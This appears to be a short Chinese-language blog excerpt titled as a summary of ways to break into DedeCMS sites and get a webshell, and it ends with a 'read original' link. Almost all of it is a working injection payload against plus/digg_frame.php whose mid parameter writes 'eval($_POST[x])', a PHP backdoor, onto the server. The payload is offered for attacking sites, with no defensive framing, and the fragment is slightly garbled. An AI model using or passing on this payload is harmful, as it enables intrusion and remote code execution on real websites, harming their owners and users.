dedecms入侵拿webshell之方法总结

一、注入漏洞php 存在注入地址：在域名下输入plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>html http://localhost:802/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x])

>>阅读原文<<